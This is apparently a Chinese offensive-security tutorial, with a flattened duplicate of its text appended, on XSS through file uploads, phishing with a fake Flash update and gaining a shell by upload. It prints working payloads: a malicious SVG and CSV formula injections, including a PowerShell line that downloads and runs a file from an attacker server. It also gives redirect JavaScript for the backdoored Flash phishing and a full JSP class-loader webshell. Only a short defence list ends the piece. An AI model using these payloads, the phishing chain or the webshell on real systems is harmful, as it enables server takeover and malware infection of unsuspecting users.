XSS之Flash弹窗钓鱼和文件上传getshell各种姿势
字数 1237 2025-08-22 22:47:30

XSS之Flash弹窗钓鱼和文件上传getshell技术详解

0x1 漏洞基础原理

文件上传漏洞原理

  • 利用form表单和类型为file的Input标签完成上传
  • 表单数据编码格式必须设置为multipart/form-data
  • 服务端处理程序解析文件类型与内容时存在缺陷

示例上传表单代码:

<form method="POST" enctype="multipart/form-data">
    <input type="file" name="file" value="请选择文件"><br />
    <input type="submit">
</form>

XSS(跨站脚本攻击)原理

  • 攻击者在网页中插入恶意JavaScript代码
  • 服务器对输入数据过滤和验证不严格
  • 恶意代码被返回给客户端并执行

0x2 文件上传XSS的各种类型姿势

允许上传HTML或SVG文件

HTML文件XSS

  • 直接上传包含恶意JS代码的HTML文件

SVG文件XSS

  • SVG文件可以包含JavaScript代码
  • 恶意SVG示例:
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="100" height="100">
    <script type="application/javascript">
        alert('XSS Attack!');
    </script>
    <polygon points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

检查思路

  1. 创建恶意SVG文件
  2. 上传并访问该文件
  3. 观察是否执行弹窗

拓展

  • 如果存在导出功能(如SVG转PDF),可能利用SSRF
  • 可尝试使用file://协议验证

允许上传PDF文件

  • 可能存在PDF XSS和任意URL跳转
  • 通常浏览器层面的漏洞,厂商可能不认可

利用方法

  1. 使用工具生成恶意PDF(如迅捷PDF编辑器)
  2. 如果后端使用wkhtmltopdf等组件,可利用file协议
  3. 利用CVE-2024-4367等漏洞实现PDF XSS

允许上传CSV文件

  • 上传恶意CSV可能导致命令执行
  • 恶意CSV Payload示例:
DDE("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|'/C calc'!A0
=10+20+cmd|'/C calc'!A0
=cmd|'/C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

检查思路

  1. 上传恶意CSV文件
  2. 下载该文件
  3. 观察特殊符号是否被处理,payload是否执行

0x3 XSS之Flash弹窗钓鱼技术

基础环境准备

  1. Flash网站克隆源码(如GitHub上的xss_flash项目)
  2. 生成后门并捆绑flash安装程序
  3. VPS服务器搭建伪造的flash网站
  4. 存在XSS漏洞的网站

具体钓鱼流程

  1. 在存在存储XSS的网站插入触发flash版本过低弹窗的JS代码:
<script src='本地用来弹flash版本过低的地址'></script>
  1. 修改version.js中弹窗指向伪造Flash网站地址:
window.alert = function(name){
    var iframe = document.createElement("IFRAME");
    iframe.style.display = "none";
    iframe.setAttribute("src", 'data:text/plain,');
    document.documentElement.appendChild(iframe);
    window.frames[0].window.alert(name);
    iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低,尝试升级后访问该页面!");
window.location.href = "此处是伪造Flash网站地址";
  1. 伪造Flash网站的index.html示例:
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>Flash Test...</title>
    <script src='此处存在XSS网站的VPS服务器地址'></script>
</head>
<body>
    <h1>Flash Test...</h1>
</body>
</html>
  1. 受害者点击下载并安装捆绑后门的flash程序,攻击者获取shell

0x4 PDF木马制作技术

制作步骤

  1. 下载PDF编辑器(如迅捷PDF编辑器)
  2. 新建空白页面,点击属性添加JavaScript
  3. 写入恶意JS代码,如:app.alert(618);
  4. 保存PDF文件
  5. 寻找允许上传PDF并能解析的网站
  6. 上传制作的恶意PDF文件

0x5 文件上传getshell实战

上传HTML存储型XSS

  1. 找到文件上传点(如头像上传)
  2. 修改上传数据包:
------WebKitFormBoundary4KIO2hZ55xAhk62B
Content-Disposition: form-data; name="file"; filename="test.html"
Content-Type: text/html

<script>alert(1)</script>
------WebKitFormBoundary4KIO2hZ55xAhk62B--
  1. 访问上传的HTML文件触发XSS

文件上传getshell

  1. 确认网站使用Java框架
  2. 上传JSP Webshell:
<%@! 
class U extends ClassLoader {
    U(ClassLoader c) {
        super(c);
    }
    public Class g(byte[] b) {
        return super.defineClass(b, 0, b.length);
    }
}
public byte[] base64Decode(String str) throws Exception {
    try {
        Class clazz = Class.forName("sun.misc.BASE64Decoder");
        return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    } catch (Exception e) {
        Class clazz = Class.forName("java.util.Base64");
        Object decoder = clazz.getMethod("getDecoder").invoke(null);
        return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    }
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
    new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
  1. 使用蚁剑等工具连接(连接密码:passwd)
  2. 成功获取服务器权限

0x6 防御建议

  1. 严格过滤上传文件类型
  2. 对上传文件重命名
  3. 限制上传文件执行权限
  4. 对用户输入进行严格过滤和转义
  5. 使用CSP等安全策略限制脚本执行
  6. 及时更新和修补已知漏洞
XSS之Flash弹窗钓鱼和文件上传getshell技术详解 0x1 漏洞基础原理 文件上传漏洞原理 利用form表单和类型为file的Input标签完成上传 表单数据编码格式必须设置为 multipart/form-data 服务端处理程序解析文件类型与内容时存在缺陷 示例上传表单代码: XSS(跨站脚本攻击)原理 攻击者在网页中插入恶意JavaScript代码 服务器对输入数据过滤和验证不严格 恶意代码被返回给客户端并执行 0x2 文件上传XSS的各种类型姿势 允许上传HTML或SVG文件 HTML文件XSS : 直接上传包含恶意JS代码的HTML文件 SVG文件XSS : SVG文件可以包含JavaScript代码 恶意SVG示例: 检查思路 : 创建恶意SVG文件 上传并访问该文件 观察是否执行弹窗 拓展 : 如果存在导出功能(如SVG转PDF),可能利用SSRF 可尝试使用 file:// 协议验证 允许上传PDF文件 可能存在PDF XSS和任意URL跳转 通常浏览器层面的漏洞,厂商可能不认可 利用方法 : 使用工具生成恶意PDF(如迅捷PDF编辑器) 如果后端使用wkhtmltopdf等组件,可利用file协议 利用CVE-2024-4367等漏洞实现PDF XSS 允许上传CSV文件 上传恶意CSV可能导致命令执行 恶意CSV Payload示例: 检查思路 : 上传恶意CSV文件 下载该文件 观察特殊符号是否被处理,payload是否执行 0x3 XSS之Flash弹窗钓鱼技术 基础环境准备 Flash网站克隆源码(如GitHub上的xss_ flash项目) 生成后门并捆绑flash安装程序 VPS服务器搭建伪造的flash网站 存在XSS漏洞的网站 具体钓鱼流程 在存在存储XSS的网站插入触发flash版本过低弹窗的JS代码: 修改version.js中弹窗指向伪造Flash网站地址: 伪造Flash网站的index.html示例: 受害者点击下载并安装捆绑后门的flash程序,攻击者获取shell 0x4 PDF木马制作技术 制作步骤 下载PDF编辑器(如迅捷PDF编辑器) 新建空白页面,点击属性添加JavaScript 写入恶意JS代码,如: app.alert(618); 保存PDF文件 寻找允许上传PDF并能解析的网站 上传制作的恶意PDF文件 0x5 文件上传getshell实战 上传HTML存储型XSS 找到文件上传点(如头像上传) 修改上传数据包: 访问上传的HTML文件触发XSS 文件上传getshell 确认网站使用Java框架 上传JSP Webshell: 使用蚁剑等工具连接(连接密码:passwd) 成功获取服务器权限 0x6 防御建议 严格过滤上传文件类型 对上传文件重命名 限制上传文件执行权限 对用户输入进行严格过滤和转义 使用CSP等安全策略限制脚本执行 及时更新和修补已知漏洞